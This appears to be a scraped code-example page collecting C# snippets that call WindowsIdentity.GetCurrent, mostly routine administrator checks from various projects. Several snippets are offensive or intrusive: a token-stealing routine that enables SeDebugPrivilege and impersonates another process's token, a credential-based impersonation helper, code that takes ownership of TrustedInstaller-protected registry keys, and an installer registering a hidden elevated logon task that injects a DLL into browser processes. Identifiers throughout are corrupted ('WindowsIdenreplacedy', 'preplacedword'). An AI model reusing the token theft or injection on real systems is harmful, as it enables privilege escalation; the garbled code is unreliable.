            var currTime = DateTime.Now;
            Console.WriteLine();
            Console.WriteLine($"SharpHound Enumeration Completed at {currTime.ToShortTimeString()} on {currTime.ToShortDateString()}! Happy Graphing!");
            Console.WriteLine();
        }

19 View Source File : RegTrustedInstaller.cs
License : MIT License
Project Creator : BluePointLilac

public static void TakeRegKeyOwnerShip(string regPath)
        {
            if(regPath.IsNullOrWhiteSpace()) return;
            RegistryKey key = null;
            WindowsIdenreplacedy id = null;
            //利用试错判断是否有写入权限
            try { key = RegistryEx.GetRegistryKey(regPath, true); }
            catch
            {
                try
                {
                    //获取当前用户的ID
                    id = WindowsIdenreplacedy.GetCurrent();

                    //添加TakeOwnership特权
                    bool flag = NativeMethod.TrySetPrivilege(NativeMethod.TakeOwnership, true);
                    if(!flag) throw new PrivilegeNotHeldException(NativeMethod.TakeOwnership);

                    //添加恢复特权(必须这样做才能更改所有者)
                    flag = NativeMethod.TrySetPrivilege(NativeMethod.Restore, true);
                    if(!flag) throw new PrivilegeNotHeldException(NativeMethod.Restore);

                    //打开没有权限的注册表路径
                    key = RegistryEx.GetRegistryKey(regPath, RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.TakeOwnership);

                    RegistrySecurity security = key.GetAccessControl(AccessControlSections.All);

                    //得到真正所有者
                    //IdenreplacedyReference oldId = security.GetOwner(typeof(SecurityIdentifier));
                    //SecurityIdentifier siTrustedInstaller = new SecurityIdentifier(oldId.ToString());

                    //使进程用户成为所有者
                    security.SetOwner(id.User);
                    key.SetAccessControl(security);

                    //添加完全控制
                    RegistryAccessRule fullAccess = new RegistryAccessRule(id.User, RegistryRights.FullControl,
                        InheritanceFlags.ContainerInherit, PropagationFlags.None, AccessControlType.Allow);
                    security.AddAccessRule(fullAccess);
                    key.SetAccessControl(security);

                    //注册表操作(写入、删除)
                    //key.SetValue("temp", "");//示例

                    //恢复原有所有者
                    //security.SetOwner(siTrustedInstaller);
                    //key.SetAccessControl(security);

                    //收回原有权利
                    //security.RemoveAccessRule(fullAccess);
                    //key.SetAccessControl(security);

                    ///得到真正所有者、注册表操作、恢复原有所有者、收回原有权利,这四部分在原文中没有被注释掉
                    ///但是如果保留这四部分,会在恢复原有所有者这一步抛出异常,提示没有权限,
                    ///不过我发现经过上面的操作,虽然无法还原所有者权限,但是已经获取了注册表权限
                    ///即已经将TrustedInstaller权限更改为当前管理员用户权限,我要的目的已经达到了
                }
                catch { }
            }
            finally { key?.Close(); id?.Dispose(); }
        }

19 View Source File : ServiceHelper.cs
License : GNU General Public License v3.0
Project Creator : bonarr

private static bool IsAnAdministrator()
        {
            WindowsPrincipal principal = new WindowsPrincipal(WindowsIdenreplacedy.GetCurrent());
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }

19 View Source File : DiskProviderFixture.cs
License : GNU General Public License v3.0
Project Creator : bonarr

protected override void SetWritePermissions(string path, bool writable)
        {
            // Remove Write permissions, we're owner and have Delete permissions, so we can still clean it up.

            var owner = WindowsIdenreplacedy.GetCurrent().Owner;
            var accessControlType = writable ? AccessControlType.Allow : AccessControlType.Deny;

            if (Directory.Exists(path))
            {
                var ds = Directory.GetAccessControl(path);
                ds.SetAccessRule(new FileSystemAccessRule(owner, FileSystemRights.Write, accessControlType));
                Directory.SetAccessControl(path, ds);
            }
            else
            {
                var fs = File.GetAccessControl(path);
                fs.SetAccessRule(new FileSystemAccessRule(owner, FileSystemRights.Write, accessControlType));
                File.SetAccessControl(path, fs);
            }
        }

19 View Source File : BgMatchData.cs
License : MIT License
Project Creator : boonwin

internal static void IsAdmin()
        {
           
            using (WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent())
            {
                WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
                _config.IsAdmin = principal.IsInRole(WindowsBuiltInRole.Administrator);
                if (!_config.IsAdmin)
                {
                    _config.UseDisconect = false;
                }

            }
           
        }

19 View Source File : ExplorerIntegration.cs
License : MIT License
Project Creator : botman99

private bool IsUserAdministrator()
		{
			// http://www.davidmoore.info/blog/2011/06/20/how-to-check-if-the-current-user-is-an-administrator-even-if-uac-is-on/

			var idenreplacedy = WindowsIdenreplacedy.GetCurrent();

			if (idenreplacedy == null)
			{
				throw new InvalidOperationException("Couldn't get the current user idenreplacedy");
			}

			var principal = new WindowsPrincipal(idenreplacedy);

			// Check if this user has the Administrator role. If they do, return immediately.
			// If UAC is on, and the process is not elevated, then this will actually return false.
			if (principal.IsInRole(WindowsBuiltInRole.Administrator))
			{
				return true;
			}

			// If we're not running in Vista onwards, we don't have to worry about checking for UAC.
			if (Environment.OSVersion.Platform != PlatformID.Win32NT || Environment.OSVersion.Version.Major < 6)
			{
				// Operating system does not support UAC; skipping elevation check.
				return false;
			}

			int tokenInfLength = Marshal.SizeOf(typeof(int));
			IntPtr tokenInformation = Marshal.AllocHGlobal(tokenInfLength);

			try
			{
				var token = idenreplacedy.Token;
				var result = GetTokenInformation(token, TokenInformationClreplaced.TokenElevationType, tokenInformation, tokenInfLength, out tokenInfLength);

				if (!result)
				{
					var exception = Marshal.GetExceptionForHR( Marshal.GetHRForLastWin32Error() );
					throw new InvalidOperationException("Couldn't get token information", exception);
				}

				var elevationType = (TokenElevationType)Marshal.ReadInt32(tokenInformation);
    
				switch (elevationType)
				{
					case TokenElevationType.TokenElevationTypeDefault:
						// TokenElevationTypeDefault - User is not using a split token, so they cannot elevate.
						return false;

					case TokenElevationType.TokenElevationTypeFull:
						// TokenElevationTypeFull - User has a split token, and the process is running elevated. replaceduming they're an administrator.
						return true;

					case TokenElevationType.TokenElevationTypeLimited:
						// TokenElevationTypeLimited - User has a split token, but the process is not running elevated. replaceduming they're an administrator.
						return true;

					default:
						// Unknown token elevation type.
						return false;
				}
			}
			finally
			{
				if (tokenInformation != IntPtr.Zero) Marshal.FreeHGlobal(tokenInformation);
			}
		}

19 View Source File : Debloat.xaml.cs
License : MIT License
Project Creator : builtbybel

private void checkIsUserAdmin()
        {
            using WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
            WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
            if (!principal.IsInRole(WindowsBuiltInRole.Administrator))
            {
                textReinstallApps.IsEnabled = false;
                textReinstallApps.Foreground = Brushes.Gray;
                textRemoveProvisionedApps.IsEnabled = false;
                textRemoveProvisionedApps.Foreground = Brushes.Gray;

                System.Windows.Controls.Control[] conts = { checkAllUsers };

                foreach (System.Windows.Controls.Control cont in conts)
                {
                    cont.IsEnabled = false;
                    cont.ToolTip = "Administrator privileges required";
                }
            }
        }

19 View Source File : AdminRequestHelper.cs
License : MIT License
Project Creator : C1rdec

private static bool IsAdministrator()
        {
            var idenreplacedy = WindowsIdenreplacedy.GetCurrent();
            var principal = new WindowsPrincipal(idenreplacedy);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }

19 View Source File : StoreAppHelper.cs
License : Apache License 2.0
Project Creator : cairoshell

private static IEnumerable<Windows.ApplicationModel.Package> getPackages(Windows.Management.Deployment.PackageManager pman, string packageFamilyName)
        {
            if (userSID == null)
            {
                userSID = System.Security.Principal.WindowsIdenreplacedy.GetCurrent().User?.ToString();
            }

            if (userSID == null)
            {
                return Enumerable.Empty<Windows.ApplicationModel.Package>();
            }

            try
            {
                if (string.IsNullOrEmpty(packageFamilyName))
                {
                    return pman.FindPackagesForUser(userSID);
                }
                
                return pman.FindPackagesForUser(userSID, packageFamilyName);
            }
            catch
            {
                return Enumerable.Empty<Windows.ApplicationModel.Package>();
            }
        }

19 View Source File : RdpMon.cs
License : MIT License
Project Creator : cameyo

public static bool IsSystemUser()
        {
            bool isSystem;
            using (var idenreplacedy = System.Security.Principal.WindowsIdenreplacedy.GetCurrent())
            {
                isSystem = idenreplacedy.IsSystem;
            }
            return isSystem;
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : cdmxz

public static bool IsAdministrator()
        {
            try
            {
                WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
                WindowsPrincipal principal = new WindowsPrincipal(idenreplacedy);
                return principal.IsInRole(WindowsBuiltInRole.Administrator);
            }
            catch
            {
                return false;
            }
        }

19 View Source File : PatcherInstaller.cs
License : GNU General Public License v3.0
Project Creator : Ceiridge

public bool Install(WriteToLog log, List<int> disabledGroups) {
			using (TaskService ts = new TaskService()) {
				foreach (Task task in ts.RootFolder.Tasks) {
					if (task.Name.Equals("ChromeDllInjector")) {
						if (task.State == TaskState.Running) {
							task.Stop();
						}
					}
				}
			}
			SendNotifyMessage(new IntPtr(0xFFFF), 0x0, UIntPtr.Zero, IntPtr.Zero); // HWND_BROADCAST a WM_NULL to make sure every injected dll unloads
			Thread.Sleep(1000); // Give Windows some time to unload all patch dlls

			using (RegistryKey dllPathKeys = OpenExesKey()) {
				foreach (string valueName in dllPathKeys.GetValueNames()) {
					if (valueName.Length > 0) {
						dllPathKeys.DeleteValue(valueName);
					}
				}
				log("Cleared ChromeExes registry");

				int i = 0;
				foreach (InstallationPaths paths in this.installationPaths) {
					string appDir = Path.GetDirectoryName(paths.ChromeExePath!)!;

					// Write patch data info file
					byte[] patchData = GetPatchFileBinary(paths, disabledGroups);
					File.WriteAllBytes(Path.Combine(appDir, "ChromePatches.bin"), patchData);
					log("Wrote patch file to " + appDir);

					// Add chrome dll to the registry key
					dllPathKeys.SetValue(i.ToString(), paths.ChromeExePath!);
					i++;
					log("Appended " + paths.ChromeDllPath + " to the registry key");
				}
			}

			// Write the injector to "Program Files"
			DirectoryInfo programsFolder = GetProgramsFolder();
			string patcherDllPath = Path.Combine(programsFolder.FullName, "ChromePatcherDll_" + Installation.GetUnixTime() + ".dll"); // Unique dll to prevent file locks

			if (!programsFolder.Exists) {
				Directory.CreateDirectory(programsFolder.FullName); // Also creates all subdirectories
			}

			using (ZipArchive zip = new ZipArchive(new MemoryStream(Properties.Resources.ChromeDllInjector), ZipArchiveMode.Read)) {
				foreach (ZipArchiveEntry entry in zip.Entries) {
					string combinedPath = Path.Combine(programsFolder.FullName, entry.FullName);
					new FileInfo(combinedPath).Directory?.Create(); // Create the necessary folders that contain the file

					using Stream entryStream = entry.Open();
					using FileStream writeStream = File.OpenWrite(combinedPath);
					entryStream.CopyTo(writeStream);
				}
			}
			log("Extracted injector zip");

			TryDeletePatcherDlls(programsFolder);
			File.WriteAllBytes(patcherDllPath, Properties.Resources.ChromePatcherDll);
			log("Wrote patcher dll to " + patcherDllPath);

			using (TaskService ts = new TaskService()) {
				TaskDefinition task = ts.NewTask();

				task.RegistrationInfo.Author = "Ceiridge";
				task.RegistrationInfo.Description = "A logon task that automatically injects the ChromePatcher.dll into every Chromium process that the user installed the patcher on. This makes removing the Developer Mode Extension Warning possible.";
				task.RegistrationInfo.URI = "https://github.com/Ceiridge/Chrome-Developer-Mode-Extension-Warning-Patcher";

				task.Triggers.Add(new LogonTrigger { });
				task.Actions.Add(new ExecAction(Path.Combine(programsFolder.FullName, "ChromeDllInjector.exe")));

				task.Principal.RunLevel = TaskRunLevel.Highest;
				task.Principal.LogonType = TaskLogonType.InteractiveToken;

				task.Settings.StopIfGoingOnBatteries = task.Settings.DisallowStartIfOnBatteries = false;
				task.Settings.RestartCount = 3;
				task.Settings.RestartInterval = new TimeSpan(0, 1, 0);
				task.Settings.Hidden = true;
				task.Settings.ExecutionTimeLimit = task.Settings.DeleteExpiredTaskAfter = TimeSpan.Zero;

				Task tsk = ts.RootFolder.RegisterTaskDefinition("ChromeDllInjector", task, TaskCreation.CreateOrUpdate, WindowsIdenreplacedy.GetCurrent().Name, null, TaskLogonType.InteractiveToken);

				if (tsk.State != TaskState.Running) {
					tsk.Run();
				}
				log("Created and started task");
			}

			log("Patches installed!");
			return true;
		}

19 View Source File : Sec_Checks.cs
License : GNU Affero General Public License v3.0
Project Creator : ceramicskate0

internal static bool CHECK_If_Running_as_Admin()
        {
            if (new WindowsPrincipal(WindowsIdenreplacedy.GetCurrent()).IsInRole(WindowsBuiltInRole.Administrator))
            {
                return true;
            }
            else
            {
                LOG_SEC_CHECK_Fail("Settings.CHECK_If_Running_as_Admin() " +Settings.ComputerName + " SWELF not running as admin and was unable to read eventlogs.");
                Error_Operation.Log_Error("CHECK_If_Running_as_Admin()", "Not Running SWELF as admin, this means SWELF wont run.", "", Error_Operation.LogSeverity.Critical);
                return false;
            }
        }

19 View Source File : Tasks.cs
License : The Unlicense
Project Creator : ceramicskate0

public static void LogonSessionEnum()
            { 
            int infoLength = 0;
            IntPtr tokenInformation;

            // since TokenInformation is a buffer, we need to call GetTokenInformation twice, first time to get the length for the buffer
            GetTokenInformation(WindowsIdenreplacedy.GetCurrent().Token, TOKEN_INFORMATION_CLreplaced.TokenStatistics, IntPtr.Zero, 0, out infoLength);
            tokenInformation = Marshal.AllocHGlobal(infoLength);
                GetTokenInformation(System.Security.Principal.WindowsIdenreplacedy.GetCurrent().Token, TOKEN_INFORMATION_CLreplaced.TokenStatistics, tokenInformation, infoLength, out infoLength);
            TOKEN_STATISTICS tokenStatistics = (TOKEN_STATISTICS)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_STATISTICS));

            EnumerateLogonSessions(tokenStatistics.AuthenticationId.LowPart);
            Marshal.FreeHGlobal(tokenInformation);
            }

19 View Source File : Program.cs
License : MIT License
Project Creator : checkymander

static void stealToken(ref IntPtr token, int SecurityImpersonate, ref IntPtr duplicateToken)
        {
            //Check for Debugging
            Console.WriteLine("Current User: {0}", WindowsIdenreplacedy.GetCurrent().Name);
            IntPtr hToken = enableSEDebugPrivilege();
            IntPtr hHandle = attachProcess();
            WindowsAPIHelper.OpenProcessToken(hHandle, (uint)WindowsAPIHelper.DesiredAccess.TOKEN_MAXIMUM_ALLOWED, out token);
            WindowsAPIHelper.SECURITY_ATTRIBUTES sa = new WindowsAPIHelper.SECURITY_ATTRIBUTES();



            Console.WriteLine("Stealing token...");
            //Token Type needs to be Primary if launching a new process, Impersonation if changing ThreadToken (Possibly? How true is this?)
            if (WindowsAPIHelper.DuplicateTokenEx(token, (uint)WindowsAPIHelper.DesiredAccess.TOKEN_MAXIMUM_ALLOWED, ref sa, WindowsAPIHelper.SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, WindowsAPIHelper.TOKEN_TYPE.TokenImpersonation, out duplicateToken))
            {
                if(duplicateToken == IntPtr.Zero)
                {
                    Console.WriteLine("Failed");
                    return;
                }
                WindowsIdenreplacedy impersonatedUser = new WindowsIdenreplacedy(duplicateToken);

                //Run commands using that tokens Impersonation Context.
                using (WindowsImpersonationContext ImpersonationContext = impersonatedUser.Impersonate())
                {
                    if (ImpersonationContext != null)
                    {
                        Console.WriteLine("After Impersonation Succeeded!\nUser: {0}\nSID: {1}", WindowsIdenreplacedy.GetCurrent(TokenAccessLevels.MaximumAllowed).Name, WindowsIdenreplacedy.GetCurrent(TokenAccessLevels.MaximumAllowed).User.Value);
                    }
                }
            }
            else
            {
                Console.WriteLine("Unable to duplicate token!");
                return;
            }
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : checkymander

static void makeToken(ref IntPtr token, int SecurityImpersonate, ref IntPtr duplicateToken)
        {
            Console.WriteLine("Current User: {0}", WindowsIdenreplacedy.GetCurrent().Name);
            Console.Write("Enter the user you want to impersonate: ");
            string username = Console.ReadLine();
            Console.Write("Enter the preplacedword for the user you want to impersonate: ");
            SecureString preplacedword = GetPreplacedword();
            Console.WriteLine();


            //Logon the user to get a context handle
            if(WindowsAPIHelper.LogonUser(username,Environment.MachineName,ConvertToUnsecureString(preplacedword),(int)WindowsAPIHelper.Logon32Type.Interactive,(int)WindowsAPIHelper.Logon32Provider.Default,ref token)!=0)
            {
                WindowsAPIHelper.SECURITY_ATTRIBUTES sa = new WindowsAPIHelper.SECURITY_ATTRIBUTES();
                //Duplicate the token stolen from the logon.
                //Nee to update this to DuplicateTokenEx
                if (WindowsAPIHelper.DuplicateTokenEx(token, (uint)WindowsAPIHelper.DesiredAccess.TOKEN_MAXIMUM_ALLOWED, ref sa, WindowsAPIHelper.SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation, WindowsAPIHelper.TOKEN_TYPE.TokenPrimary, out duplicateToken))
                {
                    WindowsIdenreplacedy impersonatedUser = new WindowsIdenreplacedy(duplicateToken);

                    //Run commands using that tokens Impersonation Context.
                    using (WindowsImpersonationContext ImpersonationContext = impersonatedUser.Impersonate())
                    {
                        if(ImpersonationContext != null)
                        {
                            Console.WriteLine("After Impersonation Succeeded!\nUser: {0}\nSID: {1}", WindowsIdenreplacedy.GetCurrent(TokenAccessLevels.MaximumAllowed).Name, WindowsIdenreplacedy.GetCurrent(TokenAccessLevels.MaximumAllowed).User.Value);
                        }
                    }
                }
                else
                {
                    Console.WriteLine("Unable to duplicate token!");
                    return;
                }
            }
            else
            {
                Console.WriteLine("LogonUser failed! Are the credentials correct?");
                return;
            }
        }

See More Examples